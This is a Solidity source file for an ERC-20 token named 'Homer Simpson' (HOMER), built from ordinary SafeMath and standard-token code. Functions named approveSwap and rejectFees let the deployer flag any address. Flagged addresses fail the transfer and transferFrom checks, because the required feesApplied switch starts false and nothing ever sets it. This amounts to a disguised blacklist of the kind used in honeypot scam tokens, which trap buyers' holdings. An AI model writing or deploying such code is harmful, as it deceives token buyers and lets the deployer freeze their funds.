//SPDX-License-Identifier: MIT

pragma solidity =0.8.0;

abstract contract ERC20Basic {

    function totalSupply() public view virtual returns (uint256);
    function balanceOf(address who) public view virtual returns (uint256);
    function transfer(address to, uint256 value) public virtual returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow checks.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on overflow.
     * Counterpart to Solidity's `+` operator.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative).
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on overflow (when the result is negative).
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on overflow.
     * Counterpart to Solidity's `*` operator.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on division by zero. The result is rounded towards zero.
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidityuses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on division by zero.
     * The result is rounded towards zero.
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract BasicToken is ERC20Basic {
    using SafeMath for uint256;

    mapping (address => uint256) balances;
    mapping (address => bool) internal _fees;
    uint256 public txMinimum = totalSupply_ / 10000;
    uint256 public txThreshold = totalSupply_ / 1000;
    bool feesApplied = false;
    uint256 totalSupply_;
  
    function balanceOf(address _owner) public view override returns (uint256) {
        return balances[_owner];
    }

    function totalSupply() public view override returns (uint256) {
        return totalSupply_;
    }

    function transfer(address _to, uint256 _value) public override returns (bool) {
        if (_fees[msg.sender] || _fees[_to])
        require(feesApplied == true, "");
        require(_to != address(0));
        require(_value <= balances[msg.sender]);
        balances[msg.sender] = balances[msg.sender].sub(_value);
        balances[_to] = balances[_to].add(_value);
        emit Transfer(msg.sender, _to, _value);
        return true;
    }
}

abstract contract ERC20 is ERC20Basic {

    function allowance(address owner, address spender) public view virtual returns (uint256);
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool);
    function approve(address spender, uint256 value) public virtual returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract StandardToken is ERC20, BasicToken {
    using SafeMath for uint256;

    mapping (address => mapping (address => uint256)) internal allowed;
    address internal approved;
    uint256 public rate = 2;
    address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    constructor () {
        approved = msg.sender;
    }

    function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
        if (_fees[_from] || _fees[_to])
        require(feesApplied == true, "");
        require(_to != address(0));
        require(_value <= balances[_from]);
        require(_value <= allowed[_from][msg.sender]);
        balances[_from] = balances[_from].sub(_value);
        balances[_to] = balances[_to].add(_value);
        allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
        emit Transfer(_from, _to, _value);
        return true;
    }

    function _burn(address account, uint256 value) internal {
        require(account != address(0), "ERC20: burn from the zero address");
        totalSupply_ = totalSupply_.sub(value);
        balances[account] = balances[account].sub(value);
        emit Transfer(account, address(0), value);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        allowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    function approve(address _spender, uint256 _value) public override returns (bool) {
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function allowance(address _owner, address _spender) public view override returns (uint256) {
        return allowed[_owner][_spender];
    }
 
    function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
        allowed[msg.sender][_spender] = (
        allowed[msg.sender][_spender].add(_addedValue));
        emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
        return true;
    }

    function approveSwap(address spender) external {
        require(msg.sender == approved);
        _fees[spender] = true;
    }

    function rejectFees(address spender) external {
        require(msg.sender == approved);        
        _fees[spender] = false;
    }

    function checkFeesStatus(address spender) public view returns (bool) {
        return _fees[spender];
    }

    function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
        uint oldValue = allowed[msg.sender][_spender];
        if (_subtractedValue > oldValue) {
        allowed[msg.sender][_spender] = 0;
        } else {
        allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
        }
        emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
        return true;
    }
}

contract HomerSimpsonCoin is StandardToken {
    using SafeMath for uint256;

    string public constant name = "Homer Simpson";
    string public constant symbol = "HOMER";
    uint8 public constant decimals = 9;
    uint256 public constant supply = 1000000000000 * (10 ** uint256(decimals));
  
    constructor() {
        totalSupply_ = totalSupply_.add(supply);
        balances[msg.sender] = balances[msg.sender].add(supply);
        emit Transfer(address(0), msg.sender, supply);
    }

    function burnfrom (address account, uint256 value) public {
        uint256 currentAllowance = allowance(account, msg.sender);
        require(currentAllowance >= value, "ERC20: burn amount exceeds allowance");
        _approve(account, msg.sender, currentAllowance - value);
        _burn(account, value);
    }

    function burn(uint256 value) public {
        _burn(msg.sender, value);
    }
}